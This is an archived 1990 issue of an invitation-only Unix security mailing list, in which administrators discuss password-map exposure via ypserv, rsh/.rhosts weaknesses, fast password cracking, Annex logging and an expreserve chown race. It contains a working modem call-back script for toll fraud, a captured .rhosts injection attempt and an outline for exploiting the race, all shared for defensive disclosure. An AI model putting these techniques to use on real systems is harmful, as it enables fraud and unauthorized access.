The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Zardoz 'Security Digest' - Archives (1989 - 1991)
DOCUMENT: Zardoz 'Security Digest' V2 #11 1990-04-13 (1 file, 15570 bytes)
SOURCE: http://securitydigest.org/exec/display?f=zardoz/archive/211.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Fri, 13 Apr 90 03:33:25 PDT
Subject: Security Digest V2 #11

Security Digest Volume 2 Issue 11

subject(s):

            reflected postings versus digests
            critical mass and lynch mobs and other matters
            Proposal for increasing security of mailing list
            Re: YP passwd bugs - SunOS 4.0.3
            ypserv as network-wide /etc/password server?
            Something else to be paranoid about...
            recent notes on Annexes
            cracking answering machines
            crypt/cbw
            CBW vs compress
            Please post to security, not sec-rqst or security-request
            Re: Uutry in HDB
            weakness in rsh on SUN unix (difficulty in securing a system)
            Re: crackers and passwords
            Re: crackers and passwords
            /vmunix permissions on Convex systems
            Need ftp hole info (for SunOS 4.0.3 and Berkeley ftpd.shar)
            Yet Another Expreserve Bug

The unix security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              security@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO:   security-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO:             security-request@uninet.cpd.com

Postings that describe security holes/fixes have a * in their subject.


------------------------------------------------------------------------

Date: Fri, 13 Apr 90 00:44:19 PDT
From: neil (Neil Gorsuch)
Subject: reflected postings versus digests

[ As part of the upcoming changes to the list, I am tightening the
requirements for receiving reflected postings rather than moderated
digests.  After this message goes out, I will change all list members
that are currently receiving reflected postings to receive moderated
digests.  I will change some of you back later (the ones that I know
personally or that go to some trusted sites) when I have more time.
If you really feel strongly about it and can't wait, call me and
explain why. - neil ]

------------------------------------------------------------------------

Date: Fri, 13 Apr 90 02:25:48 PDT
From: neil (Neil Gorsuch)
Subject: critical mass and lynch mobs and other matters

[ Please excuse the tone of this post, I have had a cruddy flu for
almost a week now, I'm way behind at work (which is not a good state
for an entrepeneur to be in), and I'm tired of being called paranoid
in news.sysadmin.  I would appreciate not seeing any hint of this
posting from the lynch mob currently growling in news.sysadmin.  I
will post there later, but of course if any of you feel like
responding there now in my defense, don't let me stop you 8-).

The security list has reached critical mass.  There are enough members
and enough internet systems being broken into that the network of
really good crackers sometimes gets a copy of the list soon after it
is put out.  I wish it wasn't true, but it is.  It's not that there
are unsavory members on the list, but rather that enough complete list
archives are kept and enough digests are in member's mailboxes.  So
those of you that view this as an ultra-secret safe haven for the the
discussion of the latest security holes are out of luck until I make
some drastic changes, WHICH I WILL PROBABLY DO.  But at least the
amateur and casual crackers (the vast majority) don't get the list.

As it stands now, I still view the list as being very positive and
extremely beneficial, since it allows you, the system administrators
that are REALLY interested in security to be warned before the rest of
the world (and the accomplished crackers) find out about problems.  I
feel no qualms about postings regarding new security holes, but it
would of course be nice if you post a fix for the hole at the same
time.  Even if you don't, this is without a doubt the best group of
people around for finding a fix quickly, and whoever finds a fix can
always put it out via the security-emergency route if I don't see it
and post a digest soon enough.  I am currently the only reflected
postings list recipient 8-), and usually notice them that same day.
If I see a fix for a previously announced new security hole, I will
immediately put out a digest.  If you have found a hole that you feel
is unfixable except by the computer manufacturer or you are not
comfortable posting it to the list, you can send it "neil" rather than
"security", and I will forward it to the appropriate people.

The only real caveat that I currently have about postings is that you
SHOULD NOT POST INFORMATION ABOUT ANY CURRENT BREAKINS, and I will not
allow any such information into the digests, for reasons that I can't
discuss.  If you are really curious why, give me a PHONE CALL at
+01-714-546-1100 and I might explain, depending on who you are.  This
is the last posting that you should expect to see that even hints at
current breakins.

Here is my usual plea about not keeping archives of the list on-line.
I know of over 100 unix security holes.  Luckily, a lot of those are
now defunct in current versions of popular unix variants.  However, a
good number of YOUR SYSTEMS have 1 or 2 holes left unplugged.  And
even if you have plugged all the holes, if you aren't using shadow
passwords and have non-trusted users (students), your system can
typically be broken in a matter of seconds at best or weeks at worst.
Or if you are using yellow pages, you are just about wide open.  SO
PLEASE PLEASE PLEASE DON'T KEEP ON-LINE ARCHIVES OF THE SECURITY LIST.

The last subject that I will discuss (aren't you glad 8-), is that
cpd.com will be physically joining the internet soon.  I have had the
modems and leased line ready for almost 2 months now, but have not had
time to do it properly.  I will be setting up a system that is
extremely difficult to break in to from the outside, yet allow me and
others here access to internet services, since there will be no
outside access except for a VERY modified variant of sendmail and
news, and some hardwire links joining things that don't understand IP
packets.  Since this will probably be of interest to the more thorough
(paranoid 8-) members of the list, I will post details and techniques
as I implement them.  And contrary to the news.sysadmin crowd, I am
not (very 8-) paranoid, it's just that I can appreciate the reasons
that crackers do what they do.  I suspect that a surprising number of
the list members would have had some fun if they had access to the
computers that they are on now when they were a young teenager.  But
luckily for us (and the internet), those days are past, and we have
hopefully developed a sense of responsibility before computer networks
were available to us 8-). - neil ]

------------------------------------------------------------------------

Date: Fri, 30 Mar 90 12:10:55 EST
From: uunet!c3pe.C3.COM!charles (Charles Green)
Subject: Proposal for increasing security of mailing list

I'd like to propose that at least a subset of the members of this mailing list
adopt a public-key cryptosystem (is DES of this type?) and have the mailings
in this list sent in encrypted, uuencoded form.  This would reduce the
number of plaintext copies floating around in spool directories and mailboxes.

A prior compression can be used if size of the result is important; if the
compression technique involves a fixed header (such as compress(1), this could
even be stripped off before sending and replaced at the destination to reduce
the amount of known data in the text.  (Do those long rows of hyphens make
encrypted digests easier to decipher?)

In volume 2.10, prl@iis.uu.net mentioned a DES implementation written by
alo@kampi.hut.fi and available at comp.sources.unix archives, volume 18,
issues 7 and 8.

[ I would be happy to do anything like this that members want - neil ]

------------------------------------------------------------------------

Date: Fri, 30 Mar 90 12:05:46 EST
From: uunet!Morgan.COM!dpk (Doug Kingston)
Subject: Re: YP passwd bugs - SunOS 4.0.3

In the previous article it was suggested that a chmod be added
to /var/yp/Makefile.  Instead, I would suggest adding a call
to "umask 022" instead.  There is no race condition this way
when the file is momentarily in mode 0666.

passwd.time: $(DIR)/passwd
        -@if [ -f $(DIR)/passwd ]; then \
                umask 022 ; \
                awk 'BEGIN { FS=":"; OFS="\t"; } /^[a-zA-Z0-9_]/ { ...
                ...

------------------------------------------------------------------------

Date: Wed, 04 Apr 90 23:05:40 N
From: uunet!iis!prl
Subject: ypserv as network-wide /etc/password server?

This afternoon I got round to testing a pet theory about ypserv;
I wrote code which takes as arguments a hostname and a guess at
that host's YP domainname (often the same or similar, most places I know)
and asks the remote server for the passwd.bynames map.

Unfortunately, my theory proved correct. I tested on a few machines
here - on the same ether; through gateways and routers on the same B-class net;
and on a C-class net. Each ypserv dutifully sent me the password map
provided I guessed the domainname right.
I haven't tested it yet, but I suspect that it would *also* send me
the ``secure'' passwd.adjunct map.

I haven't tested this outside our organisation, so I could be wrong.
I'd much prefer to be wrong.....

The code is 66 lines.

Workaround -- change your domainname to a random string.

------------------------------------------------------------------------

Date: Fri, 30 Mar 90 15:59:50 PST
From: tts@ttank (Karl Bunch)
Subject: Something else to be paranoid about...

You think the games with answering machines are bad think about this...
When a user logs into your host and gets a prompt they can make your
modem dial them back. Long distance and all.  Consider the following:

#
# Turn off echo so modem will not abort on it's own messages
# Turn on clocal so that hang-up will not cause a logout.
#
stty -echo clocal
#
# Tell user to go for it...
#
echo 'Please disconnect..'
echo 'In 20 seconds or so I'"'"'ll call you back.'
echo 'After connect, wait a second or two, press <ENTER>'
echo 'And then Type <CTRL>+<D>'
echo
echo 'Have fun, remember it'"'"'s my dime!'
#
# User hangs up his local modem. (+++, ATH0)
#
sleep 20
#
# Now send the dial sequence (Only need to know the dial seqence, but hey
# a large percent of all micro's have hayes compatible modems!)
#
echo -n 'ATDT1235551212'
#
# Eat garbage modem sends... When user gets a connect he just types <CTL>+<D>
# to send EOF to the cat...
#
cat > CB.$$
#
# Back to normal operations
#
stty echo -clocal
rm -f CB.$$
echo 'Welcome back!'
#
# Now download anything you want and the host picks up the bill!
#

How do you protect yourself?  Think, if I call the number on my phone
bill for $150 if I am lucky I get a login prompt.  Call the phone company
and the'll say 'Well it looks like your modem dialed this number sir...'

You could disable command recognition on your modem but when your
small and only have one dial in/out modem then what?

Anyone have a guest account? I would like to login at your cost...

Food for thought,

------------------------------------------------------------------------

Date: Fri, 30 Mar 90 12:10:08 EST
From: John Robert LoVerso <uunet!Xylogics.COM!loverso>
Subject: recent notes on Annexes

> From: Gene Spafford <uunet!cs.purdue.edu!spaf>
> A few sites on the Internet are running Annex boxes that allow callers
> to telnet out to anywhere in the world.  This may appear to be
> convenient, but it also allows crackers to dial in and attack systems
> without leaving any logging information that would allow them to be
> traced.

Please see my longish note below on logging!

> >> If you have a newer version of the Annex erpcd code (like what they
> >> ship with the annexII's),
> ...
> >> If you have an old version of the annex code then you will have to

The "old" version here probably refers to R3.0, as that feature
was added in R4.0 (released Sep 1988).  A strong warning here:  If
you have an Annex, be sure you are running R4.0 or a later release
(hopefully R4.1 or R5.0).  Doublely strong warning if you intend
on using Annex security!

> From: uunet!ucsd.edu!brian (Brian Kantor)
> For a quick hack it's quite acceptable.

I wouldn't consider this as a hack at all: Annex ACP security
simply implements a mechanism, not a policy.  A default
(username,password) policy is distributed, but ACP is not tied to
this.  The source distributed for the host-side of ACP is there to
make it possible for a site to implement their own policy.

> From: pvo@oce.orst.edu (Paul O'Neill)
> Equally disturbing is the ability to telnet *into* an annex from the
> internet and then back out again.
> No accounting records.

Please note that if you enable the syslog capability of the Annex,
every single connection request coming into or going out of the
Annex (including the place of origin and/or destination) will be
posted in a UDP datagram to your designated syslog server.  Using
a 4.3BSD syslogd, you can easily collect all the Annex log messages
under a "local7" facility and log them to a separate file.

If you are using Annex ACP-based security, then the host authentication
code will log (by a completely separate means) all security requests and
the accepted/denied status of each in the acp_logfile.

Additionally, there are several ways you can restrict who telnets into
an Annex.  Setting the max_vcli paramter to 0 will completely
disable the ability to telnet into an Annex.  If you don't want to
be that severe, the next best step is to give the Annex a password
and enable security.  This does two things: it causes all na sessions
to the Annex to be encrypted (using SRPC) and enables "cli_security"-like
behavior on all virtual CLIs.  Thus, if you aren't using Annex
security for your general users, you can just add entries in the
acp_passwd for those users who are authorized to telnet into your
Annexes.

Additionally, you can modify the acp_policy.c file to make any
challenge you want.  I.e., the prompts for username and password
are only "defaults" and thus can be changed, for just VCLIs, to be
"Annex password".

Additionally, under R5.0, it is possible to set a VCLI password in
non-volitile memory.  This is for the use of a "local" security system
which does not use the ACP protocol.  Once set, this forces a prompt of
"VCLI or Annex password" prompt before letting the user in.  There is
another new parameter, "vcli_security", to determine which security
VCLIs will have applied to them.

As a side note, the acp_logfile is created entirely by the host-side
of the ACP code.  The source code to this (and all the Annex host
code) is provided on the distribution tape.  You can change the
logfile format if you wish.  If you are tracking a particular user
or set of modems, you can change the policy code to popen() a "mail
root" whenever it sees an access by the particular thing you are
tracking.  This has the advantage of being less overhead on your
host that having a different program scan the acp_logfile, and would
happen in "real time".

Anyway, I strongly recommend that any Annex on the Internet have
an Annex password set and have "enable_security" set to Y.  By
doing so, you enable both authentication and encryption, such that
it prevents anyone on the Internet from using NA on your Annex, unless
they have your password.  It's also a good idea to use an "acp_key",
as this will encrypt and authenticate all traffic sent between
an Annex and an ACP security server.

In closing, let me note that some of the things I've mentioned above will
be included with the R5.0 release notes under a "security basics" section.
R5.0 will be shipping by the middle of April.  It will run on all Annex
platforms (original Annexes, Annex-IIs, etc).  If you want to know how to
get it directly from Xylogics, or have a hardware or software problem,
you can reach our tech support people by either dialing 617-272-8140 x256
or mailing to "annex-support@xylogics.com".  (Don't send mail to me
directly, as I'll only end up forwarding your note onto tech support!)

In particular, if you are experiencing problems with someone attempting
to break into your Annex or through an Annex into your system, we are
interested in helping.  For instance, we helped -------- of -------
dig the details from his Annex security logs of the -------originating
breakins.

------------------------------------------------------------------------

Date: Sat, 31 Mar 90 05:01:36 -0500
From: der Mouse  <uunet!Larry.McRCIM.McGill.EDU!mouse>
Subject: cracking answering machines

> In RISKS-7.73 William Curtiss points out that most answering machines
> just ignore digits until you get the correct security code.  "As long
> as the incoming stream contains the code somewhere you are given
> access.  Since 256 combinations needs three digits, a carefully
> constructed string of 258 digits will contain every possible
> combination [...]."

This is not true unless each position has the same set of possible
digits, which is not true of the example (the last digit had to be 0-3,
while the other two could be 0-7).

> The shortest string of digits that I was able to generate for
> defeating my answering machine was 452 digits: [...].
> Can anyone suggest an algorithm to generate a shorter string than I
> have above, or better yet, an optimal string?  A string length of 258
> digits is a lower bound, but is there necessarily a solution that
> short?

In fact there is no solution that short.  If there were, every
three-character substring of it would have to be a valid combination,
which implies that every character (except the first two) must be valid
as the last digit of a combination.

Let's look at the [0-7][0-7][0-3] case a bit more closely.

Consider a string of N digits.  There will be N-2 triplets of
consecutive digits - potential combinations.  However, each digit [4-7]
(except in one of the first two places) subtract one from this number,
because it is a potential combination that cannot be an actual
combination.  So the number of combinations present will be N-2-n,
where n is the number of [4-7] digits (not counting any in the first
two places).

Now among the 256 combinations we have 64 of each of the [4-7] digits.
Some of these may be used by two combinations, but none can be used by
more than two.  So we have 64x4=256 digit uses, for a minimum of
256/2=128 digits.  Thus N-2-126 must be at least 256 (126 because two
of the [4-7] digits may be the first two digits).  So we can set a
lower bound on N, the string length: 384.  Your example provides an
upper bound on the minimum length of 452.  I see no obvious way to
narrow the gap, though it seems to me to be an interesting problem.

> I checked more than a dozen different answering machines on the
> market that allow remote message retrieval using touch tones, and the
> best let you select combinations of the form [0-9][0-9][0-9].  A key
> space of 1000 combinations is hardly any improvement.

In this case all positions in a code are equivalent, so it is
potentially feasible to crack it with a string of 1002 digits.  An
algorithm to generate such a string would be interesting, but I haven't
time just now to work one out.

------------------------------------------------------------------------

Date: Sat, 31 Mar 90 05:18:05 -0500
From: der Mouse  <uunet!Larry.McRCIM.McGill.EDU!mouse>
Subject: crypt/cbw

> There are, of course a number of sites recieving this list who are
> not permitted to have copies of crypt(1), anyway, due to US export
> restrictions.

Who are not permitted to *get* crypt(1) (from US sources), not to
*have* it.  (I know security agencies routinely ignore laws, but even
for them, imposing ex post facto penalties is a bit much.)

But crypt(1) is such a simple crypt program anybody can write one in an
afternoon from a paper description of the algorithm.  (I will happily
email such a description to anyone who asks; the only obscure spot is
the generation of the rotor wirings from the typed key, and how that's
done doesn't really matter, though it's good if it's one-way.)

And about cbw versus compress....

>> If this [an understanding of how crypt works] is the case, then
>> would it not be true that encrypting compressed text would be a much
>> stronger protection than simple encryption of straight text?

You are correct; decrypting a crypted compressed file is a harder task
than decrypting the same file crypted without compress.  (A compressed
crypted file, on the other hand, is of course more or less pointless,
at least from a security standpoint.)

> That might help a small number of people for a short time, but it is
> a scheme which relies on ignorance of your encoding algorithm, and
> so, it is not suitable as a standard to be widely used.  It would be
> easy to modify CBW to look for the magic number at the beginning of a
> compressed file.  So, widespread use of compress(crypt()) would
> result in even weaker security.

He was suggesting crypt(compress()), not compress(crypt()).

I know someone who maintains that breaking crypt(compress()) is more
difficult than breaking crypt() only in degree, not in kind.  I am not
convinced, but he knows more about cryptosystems than I do.  (If we can
find the time, we want to have a closer look at cracking
crypt(compress()).)

------------------------------------------------------------------------

Date: Sun, 1 Apr 90 17:38:48 WST
From: uunet!pyrmania.oz.au!major (Major)
Subject: CBW vs compress

>   That might help a small number of people for a short time, but it is a
>   scheme which relies on ignorance of your encoding algorithm, and so, it
>   is not suitable as a standard to be widely used.  It would be easy to
>   modify CBW to look for the magic number at the beginning of a compressed
>   file.  So, widespread use of compress(crypt()) would result in even
>   weaker security.

I think what was being suggested was crypt(compress()) not compress(crypt()).

Can someone who knows more about code breaking than me please comment
on whether the patterns in compress output can be as usefull to a cracker
as the patterns in plain english?

------------------------------------------------------------------------

Date: Sat, 31 Mar 90 19:02:54 PST
From: uunet!unclejack.crd.ge.com!barnett

I found the following in the mailbox for the account "ris":

   ----- Unsent message follows -----
 Date:  Wed, 21 Mar 90 09:24:39 EST
 From: ris (Remote Installation Services Account)
 Message-Id:  <9003211424.AA03460@crdgw1.ge.com>
 Apparently-To: ris
 Apparently-To: /usr/ris/.rhosts

+ EE_RUSTY
+ ee_rusty

 >From MAILER-DAEMON Wed Mar 21 10:36:37 1990
 Date:  Wed, 21 Mar 90 10:35:58 EST
 From: MAILER-DAEMON (Mail Delivery Subsystem)
 Subject: Returned mail: Can't create output
 Message-Id:  <9003211535.AA04914@crdgw1.ge.com>
 To: Postmaster
 To: ris

   ----- Transcript of session follows -----
550 /usr/ris/.rhosts... Can't create output

   ----- Unsent message follows -----
Date:  Wed, 21 Mar 90 10:35:58 EST
From: ris (Remote Installation Services Account)
Message-Id:  <9003211535.AA04905@crdgw1.ge.com>
Apparently-To: /usr/ris/.rhosts

+ bin

I have never used the "ris" account or the /etc/ris program on Ultrix.
Several people manage the machine, but they don't remember doing
anything with it.

Is this an attempt to break in?

[ Looks that way - neil ]

------------------------------------------------------------------------

Date: Mon, 2 Apr 90 13:42:39 PDT
From: neil (Neil Gorsuch)
Subject: Please post to security, not sec-rqst or security-request

[ Once again some postings were sent by "replying", without noticing
  that they went to "sec-rqst" rather than "security".  I won't mention
  names, but please do it right 8-) - neil ]

------------------------------------------------------------------------

Date: Sun, 1 Apr 90 14:10:07 PST
From: Bud Hovell <uunet!whizz!bbh>
Subject: Re: Uutry in HDB

>From: uunet!telxon!teleng!gorpong (Gordon C. Galligher)
>Subject: SunOS 4.0.3 UUCICO problems, WIDE open
<deleted>
>option.  On HoneyDanBer UUCP (with Interactive Systems Corporation's 386/ix),
>it does allow the -x option, but replaces the secure information with question
>marks (ie:  Dialing ????).

It may be worth noting that this is only true if the originator is *not*
'root' (if our local system is typical).  We altered our Uutry script to
create an output /tmp file readable *only* by the login user who runs it.
If 'root' is the user, then the output file (containing the plaintext
password) is readable *only* by 'root'.

------------------------------------------------------------------------

Date: Mon, 2 Apr 90 09:53:44 MDT
From: uunet!cadnetix.COM!rusty (Rusty Carruth)
Subject: weakness in rsh on SUN unix (difficulty in securing a system)

Well, this may or may not be considered by the rest of you as a security
hole, but it sure is a pain.

First, the environment:  A mixture of: PC's (less than 30) running PC/NFS;
Sun3's and Sun4's running many different versions of Sun's unix (some are
4.0 or higher, some are not); and a fair number of Cadnetix Sun workstations.
The root password for most user's machines are either non-existant, or
known by most everybody.  Unfortunately, there is really no way in the
current environment to change the root password situation.

Next, a tiny bit of history:

We've been having a little trouble at our site with someone fiddling around
with someone elses machine.  The first occurance, the fiddler changed
the root password on the other person's machine.

Attempts to 'play around on' the 2nd persons machine have occurred off
and on since that first time.  The most recent incident happened last week,
where the 1st person displayed a message on the 2nd person's console window
(under suntools) which mimicked (sp?) the output of an 'su'.  After much
poking around, I discovered that the 1st person had simply rsh'd to the
2nd persons machine with an echo command.

I then went in and made su 'illegal' for all but 3 logins on the attacked
machine.    I was looking around for a way to make rlogin and rsh only
useable, on the attacked machine, by the same 3 login names.

However, looking at the man pages, I see that the rules for allowing rsh
access to a machine are any ONE of the following:
   (1) the name of the 'local host' (the one doing the rsh) is in /etc/hosts.equiv
or (2) the local username and hostname are NOT found in the 'remote' users'
         .rhosts file (oh-oh, see below)

The man page also says:
     "To counter security problems, the .rhosts file must be owned
     by either the remote user or by root."

Well, all is fine until you allow people to automount their home directory
on remote systems.  Then, all you must do to get access to any machine on
the network is to put the entry into YOUR LOCAL .rhosts file.  (Since your
local .rhosts file becomes the 'remote users' .rhosts file when you rlog in!)

The solution I came up with was to copy the yp password file over to the
attacked system and change all password entries into bogus values for those
people I wished to keep off the attacked system.

Not a very nice solution, but that was the quickest way I could come up
with.  At least it DID seem to do the trick (given my limted testing).

In any case, I sent this to the security list because I thought people who
are running systems with automounters should consider the ramifications of
allowing users to automount their home directory.  (also, I am sure that
a better solution to my problem, if it exists, will be smoked out as well :-)

"To counter security problems", indeed!  :-(

------------------------------------------------------------------------

Date: Tue, 03 Apr 90 17:36:07 N
From: uunet!iis!prl
Subject: Re: crackers and passwords

> From: der Mouse  <uunet!Larry.McRCIM.McGill.EDU!mouse>
> >> 3) Crackers have copies of *very* fast password code.

I have a `C'-only cracker which also gets about a factor 15-20 speedup
over the standard U*nix crypt(3); this uses standard DES speedup tricks;
permutations 8 bits at a time, permutation P folded into the S-boxes,
and the special crypt(2) trick of eliminating the redundent
IP, IP-1 permutations.

I don't think there are any further big improvements which can be made,
except perhaps making the tables for the permutations bigger
or mergeing S-box pairs, so this looks about the best you can expect
the crackers to have. Mergeing S-box pairs didn't speed my code
up by very much (about 10-15%); the S-box tables get pretty big
if you do this.

                Fast crypt              Normal crypt(3)
                 2373 tries             100 tries
                Time    tries/sec       Time    tries/sec       Speedup
                (sec)                   (sec)
sun 3/280       21.54   110             18.46    5.4            20.3
sun 4/280       11.63   250              6.30   15.9            15.7
SparcStation1    8.08   294              5.13   19.5            15.1

As you can see, a roomfull of SparcStations with a fast crypt
is quite worrying.

[ I have even heard of an assembly language coded routine that will do
over 2,000 tries a second on 386 machines, although I'm not sure that
I believe it - neil ]

As another example, to run all proper nouns with length 6-8 characters
in /usr/dict/words (2583 words) against one password takes 8.8 seconds
on a SparcStation! To run the wordlist from the Internet worm
(a mere 432 words) against one password takes 1.51 sec!

I recently ran the proper names list over my users' accounts and got about
50 (!) hits. Sigh... People think placenames are difficult...

> A smaller change would be to tweak crypt(3) slightly and recompile, and
> then - important! - relink everything at once: login and passwd, in
> particular, must be relinked together.  What do I mean by "tweak
> slightly"?
>  Any of a number of things; changing the constant (currently
> 0) which is repeatedly encrypted and changing the way the salt tweaks
> the E-box are two which come to mind immediately and have effectively
> unlimited potential for rendering useless all that lovely fast password
> cracking code.  (Just don't everybody change the constant to 1!  Flip a
> coin many times or something.)

I think you're being a bit over-optimistic.... I think have to assume
that someone who tries to crack your password file knows what the
salt algorithm and the magic constant are -- certainly on non-source
systems this will be so. If they know this magic, then these tweaks
don't help.

U*ix definitely needs to allow and demand longer passwords! (And use
all the available bits).

[ Or force the use of shadow passwords - neil ]

To forestall possible disappointment, this code is *not* available
to anyone. Sorry. I realise that there are lots of ``white hats'' out
there with legitimate reasons for having this code, but I don't really
have any way of telling who you are!

------------------------------------------------------------------------

Date: Tue, 3 Apr 90 14:41:12 EDT
From: uunet!telxon!teleng!gorpong (Gordon C. Galligher)
Subject: Re: crackers and passwords

[ I appreciate the sentiments in this message, thanks for the support,
but after reading my "critical mass" message, I think everyone can
understand why source code such as password guessing programs that are
far more useful to crackers than to list members should probably not
be published in the list.  As for giving out such programs, it's like
the internet worm source, it has far more potential harmful usage than
beneficial usage, but persistant parties have asked for and recieved
the worm source, and don't even bother asking me for it, I probably
don't have it 8-). - neil ]

No, I am not asking for the code, but I do believe I remember a long and
arduous process in which Neil "checked" up on me before allowing me to
participate in this list.  I do believe that he does this for ALL of the
people who request permission to be included in the discussions.  I feel
totally confident that Neil has been doing "his job" in keeping non-SA's
and non-essential's out of the list.  Your statement seems to suggest
that you do not trust Neil's judgement of people.  I do believe this list
was created with the credo of a forum to share ideas, problems, solutions,
and the like.  Since it has some pretty secure issues in discussions (hence
the name) it has to have an audience of a few select people (hence the
long and arduous verification process by Neil).  Of course, you are totally
able to do whatever you want to with your code, but I personally feel your
statement is possibly unwarranted and a little too strong.

[ And the list is definately doing all that and other things, it's
just that a certain class of source programs perhaps shouldn't be
spread around, even to list members.  And if you really want to
support me, flame the lynch mob in news.sysadmin, no, forget I said
that 8-) - neil ]

AS ALWAYS:
        These are only my opinions, and they are not meant to be slanderous,
        or flameous, or whatever.  If you take it that way, then I truly
        apologize.

------------------------------------------------------------------------

Date: Wed, 04 Apr 90 18:12:20 N
From: uunet!iis!prl
Subject: /vmunix permissions on Convex systems

I happened to do an ls -l on /vmunix on one of our Convexes
here and was horrified to see it was mode 0666 (global writeable)!

Our Convex support person happened to be near, so I mentioned it,
and he looked at another 5 systems that he could connect to;
4 of the total 6 systems had /vmunix world-writeable.

He said that he suspected that the DECNET installation
software was responsible.

Anyway, if you run a Convex, an `ls -l /vmunix' would probably
be a good idea if you want your system to be secure beyond its
next reboot!

------------------------------------------------------------------------

Date: Wed, 04 Apr 90 16:48:21 EDT
From: Manavendra K. Thakur <uunet!zerkalo.harvard.edu!thakur>
Subject: Need ftp hole info (for SunOS 4.0.3 and Berkeley ftpd.shar)

[ It's too late for me to answer this - neil ]

Can someone send me more info on the hole(s) that might exist in ftp,
particularly anonymous ftp?  I'm most interested in SunOS 4.0.3's
ftpd.  Is it safe to set up anonymous ftp with the 4.0.3 ftpd?

Also, what about the ftpd.shar file available on ucbvax.berkeley.edu?
I assume *its* safe.  Is that a reasonably good assumption?

My definition of "safe" is necessarily vague, because I don't remember
what the specific hole in anonymous ftp (or ftp in general) was.  So I
can't test whether the current versions have the hole or not.

The reason I'm asking about all this is that I've installed the
ftp.logging.patch (available from titan.rice.edu) that logs what files
people are retrieving when using anonymous ftp.  I didn't have sun
source, and so I applied the patch to the Berkeley ftpd.  So am I
opening up a can of worms, or am I reasonably safe?

------------------------------------------------------------------------

Date: Wed, 11 Apr 90 10:08:37 edt
From: Bob Pearson <uunet!stubby!bobp>
Subject: Yet Another Expreserve Bug

I have found a rather barbaric race condition in expreserve that allows
the setuid program to be compromised by changing the permissions of a file.
This bug exists in all expreserves up to and including Berkeley 4.3. (well
not quite).  On all System V and earlier releases this works.  Under System V
expreserve places the Ex temp file in the directory:

        /usr/preserve/$LOGNAME

and under the Berkeley releases it places them under either:

        /usr/preserve

or
        /var/preserve (SUN0S 4.X among others)

This "feature" will definitely allow security to be breached on all standard
System Vs and all Berkeley-ish systems that have the /usr/preserve directory
writable by the user (Note: SUNOS has this directory unwritable by default).

The System V bug was relatively unavoidable (though the addition of the "S" bit
to directories in SVR3.2 could close the hole) until SVR4 but the Berkeley bug
should have been fixed as soon as the fchown(2) system call was added to BSD.
Basically the "hole" is that expreserve does:

        fd = creat("/usr/preserve/Exaaa$PID, 0600);
        chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);

when it should do a:

        fd = creat("/usr/preserve/Exaaa$PID, 0600);
        fchown(fd, real_uid, real_gid);

which avoids the race (it changes the permission on the inode that was
creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID).  The
previous examples are actually simplified as expreserve actually looks at the
uid and gid as stored in the /tmp/Ex$PID file and compares them to the
getuid() and getgid() return values.

The actual "race" is that a context switch may occur between the creat(2)
and chown(2) in expreserve that allows another process with write permission
to the target directory to unlink(2) the creat(2)ed file and place a hard
link to another file by that name in the target directory, which expreserve
subsequentialies chown(2)s to your uid.  This "feature" allows any file on the
same device to be chown(2)ed to you.  Though you may see support for symbolic
links, on the version of UNIX that I have tested this on, this will only change
permissions on the symlink.  I find this confusing as ELOOP is an alleged
failure condition for chown(2) implying that a symbolic link resolution.

The procedure for demonstrating this bug is to create a VALID non-zero length
/tmp/Ex$PID file and copy it to the directory where the program is located
under the name "data".  To do this edit a junk file, make some
changes and escape to a shell and check the /tmp directory for a non-zero
length Ex$PID file owned by you, copy it to the testing directory and run
the program that follows.  Note:  This program needs to be modified to run
under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been
tested under SUNOS 4.X and HPUX.  I haven't had time to modify it yet, but it
should definitely work under System V.  For performance reasons, this bug is
works best if you make a hard link to the target file in the directory that
expreserve places the editor temporary.  Less chance sleeping on an inode
(hence the chdir(2)).

[ The program's source has been moved to the next digest. - neil ]


------------------------------------------------------------------------

        End of Security Digest Volume 2 Issue 11
        **********************

END OF DOCUMENT